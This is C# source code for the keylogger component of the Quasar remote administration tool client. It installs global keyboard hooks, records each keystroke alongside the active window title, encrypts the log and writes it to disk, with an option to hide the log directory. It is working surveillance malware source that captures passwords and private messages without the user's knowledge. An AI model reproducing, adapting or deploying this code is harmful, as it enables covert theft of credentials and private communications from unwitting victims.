using Gma.System.MouseKeyHook; using Quasar.Client.Config; using Quasar.Client.Extensions; using Quasar.Client.Helper; using Quasar.Common.Cryptography; using Quasar.Common.Helpers; using System; using System.Collections.Generic; using System.Diagnostics; using System.Globalization; using System.IO; using System.Text; using System.Web; using System.Windows.Forms; using Timer = System.Timers.Timer; namespace Quasar.Client.Logging { /// /// This class provides keylogging functionality and modifies/highlights the output for /// better user experience. /// public class Keylogger : IDisposable { /// /// True if the class has already been disposed, else false. /// public bool IsDisposed { get; private set; } /// /// The timer used to periodically flush the from memory to disk. /// private readonly Timer _timerFlush; /// /// The buffer used to store the logged keys in memory. /// private readonly StringBuilder _logFileBuffer = new StringBuilder(); /// /// Temporary list of pressed keys while they are being processed. /// private readonly List _pressedKeys = new List(); /// /// Temporary list of pressed keys chars while they are being processed. /// private readonly List _pressedKeyChars = new List(); /// /// Saves the last window title of an application. /// private string _lastWindowTitle = string.Empty; /// /// Determines if special keys should be ignored for processing, e.g. when a modifier key is pressed. /// private bool _ignoreSpecialKeys; /// /// Used to hook global mouse and keyboard events. /// private readonly IKeyboardMouseEvents _mEvents; /// /// Provides encryption and decryption methods to securely store log files. /// private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY); /// /// The maximum size of a single log file. /// private readonly long _maxLogFileSize; /// /// Initializes a new instance of that provides keylogging functionality. /// /// The interval to flush the buffer from memory to disk. /// The maximum size of a single log file. public Keylogger(double flushInterval, long maxLogFileSize) { _maxLogFileSize = maxLogFileSize; _mEvents = Hook.GlobalEvents(); _timerFlush = new Timer { Interval = flushInterval }; _timerFlush.Elapsed += TimerElapsed; } /// /// Begins logging of keys. /// public void Start() { Subscribe(); _timerFlush.Start(); } /// /// Disposes used resources by this class. /// public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (IsDisposed) return; if (disposing) { Unsubscribe(); _timerFlush.Stop(); _timerFlush.Dispose(); _mEvents.Dispose(); WriteFile(); } IsDisposed = true; } /// /// Subscribes to all key events. /// private void Subscribe() { _mEvents.KeyDown += OnKeyDown; _mEvents.KeyUp += OnKeyUp; _mEvents.KeyPress += OnKeyPress; } /// /// Unsubscribes from all key events. /// private void Unsubscribe() { _mEvents.KeyDown -= OnKeyDown; _mEvents.KeyUp -= OnKeyUp; _mEvents.KeyPress -= OnKeyPress; } /// /// Initial handling of the key down events and updates the window title. /// /// The sender of the event. /// The key event args, e.g. the keycode. /// This event handler is called first. private void OnKeyDown(object sender, KeyEventArgs e) { string activeWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle(); if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle) { _lastWindowTitle = activeWindowTitle; _logFileBuffer.Append(@"



[" + HttpUtility.HtmlEncode(activeWindowTitle) + " - " + DateTime.UtcNow.ToString("t", DateTimeFormatInfo.InvariantInfo) + " UTC]


"); } if (_pressedKeys.ContainsModifierKeys()) { if (!_pressedKeys.Contains(e.KeyCode)) { Debug.WriteLine("OnKeyDown: " + e.KeyCode); _pressedKeys.Add(e.KeyCode); return; } } if (!e.KeyCode.IsExcludedKey()) { // The key was not part of the keys that we wish to filter, so // be sure to prevent a situation where multiple keys are pressed. if (!_pressedKeys.Contains(e.KeyCode)) { Debug.WriteLine("OnKeyDown: " + e.KeyCode); _pressedKeys.Add(e.KeyCode); } } } /// /// Processes pressed keys and appends them to the . Processing of Unicode characters starts here. /// /// The sender of the event. /// The key press event args, especially the pressed KeyChar. /// This event handler is called second. private void OnKeyPress(object sender, KeyPressEventArgs e) { if (_pressedKeys.ContainsModifierKeys() && _pressedKeys.ContainsKeyChar(e.KeyChar)) return; if ((!_pressedKeyChars.Contains(e.KeyChar) || !DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar)) { var filtered = HttpUtility.HtmlEncode(e.KeyChar.ToString()); if (!string.IsNullOrEmpty(filtered)) { Debug.WriteLine("OnKeyPress Output: " + filtered); if (_pressedKeys.ContainsModifierKeys()) _ignoreSpecialKeys = true; _pressedKeyChars.Add(e.KeyChar); _logFileBuffer.Append(filtered); } } } /// /// Finishes processing of the keys. /// /// The sender of the event. /// The key event args. /// This event handler is called third. private void OnKeyUp(object sender, KeyEventArgs e) { _logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray())); _pressedKeyChars.Clear(); } /// /// Finds a held down key char in a given key char list. /// /// The list of key chars. /// The key char to search for. /// True if the list contains the key char, else false. private bool DetectKeyHolding(List list, char search) { return list.FindAll(s => s.Equals(search)).Count > 1; } /// /// Adds special highlighting in HTML to the special keys. /// /// The input keys. /// The highlighted special keys. private string HighlightSpecialKeys(Keys[] keys) { if (keys.Length < 1) return string.Empty; string[] names = new string[keys.Length]; for (int i = 0; i < keys.Length; i++) { if (!_ignoreSpecialKeys) { names[i] = keys[i].GetDisplayName(); Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]); } else { names[i] = string.Empty; _pressedKeys.Remove(keys[i]); } } _ignoreSpecialKeys = false; if (_pressedKeys.ContainsModifierKeys()) { StringBuilder specialKeys = new StringBuilder(); int validSpecialKeys = 0; for (int i = 0; i < names.Length; i++) { _pressedKeys.Remove(keys[i]); if (string.IsNullOrEmpty(names[i])) continue; specialKeys.AppendFormat((validSpecialKeys == 0) ? @"

[{0}" : " + {0}", names[i]); validSpecialKeys++; } // If there are items in the special keys string builder, give it an ending tag if (validSpecialKeys > 0) specialKeys.Append("]

"); Debug.WriteLineIf(specialKeys.Length > 0, "HighlightSpecialKeys Output: " + specialKeys.ToString()); return specialKeys.ToString(); } StringBuilder normalKeys = new StringBuilder(); for (int i = 0; i < names.Length; i++) { _pressedKeys.Remove(keys[i]); if (string.IsNullOrEmpty(names[i])) continue; switch (names[i]) { case "Return": normalKeys.Append(@"

[Enter]


"); break; case "Escape": normalKeys.Append(@"

[Esc]

"); break; default: normalKeys.Append(@"

[" + names[i] + "]

"); break; } } Debug.WriteLineIf(normalKeys.Length > 0, "HighlightSpecialKeys Output: " + normalKeys.ToString()); return normalKeys.ToString(); } private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e) { if (_logFileBuffer.Length > 0) WriteFile(); } /// /// Writes the logged keys from memory to disk. /// private void WriteFile() { // TODO: Add some house-keeping and delete old log entries bool writeHeader = false; string filePath = Path.Combine(Settings.LOGSPATH, DateTime.UtcNow.ToString("yyyy-MM-dd")); try { DirectoryInfo di = new DirectoryInfo(Settings.LOGSPATH); if (!di.Exists) di.Create(); if (Settings.HIDELOGDIRECTORY) di.Attributes = FileAttributes.Directory | FileAttributes.Hidden; int i = 1; while (File.Exists(filePath)) { // Large log files take a very long time to read, decrypt and append new logs to, // so create a new log file if the size of the previous one exceeds _maxLogFileSize. long length = new FileInfo(filePath).Length; if (length < _maxLogFileSize) { break; } // append a number to the file name var newFileName = $"{Path.GetFileName(filePath)}_{i}"; filePath = Path.Combine(Settings.LOGSPATH, newFileName); i++; } if (!File.Exists(filePath)) writeHeader = true; StringBuilder logFile = new StringBuilder(); if (writeHeader) { logFile.Append( "Log created on " + DateTime.UtcNow.ToString("f", DateTimeFormatInfo.InvariantInfo) + " UTC

"); logFile.Append(""); _lastWindowTitle = string.Empty; } if (_logFileBuffer.Length > 0) { logFile.Append(_logFileBuffer); } FileHelper.WriteLogFile(filePath, logFile.ToString(), _aesInstance); logFile.Clear(); } catch { } _logFileBuffer.Clear(); } } }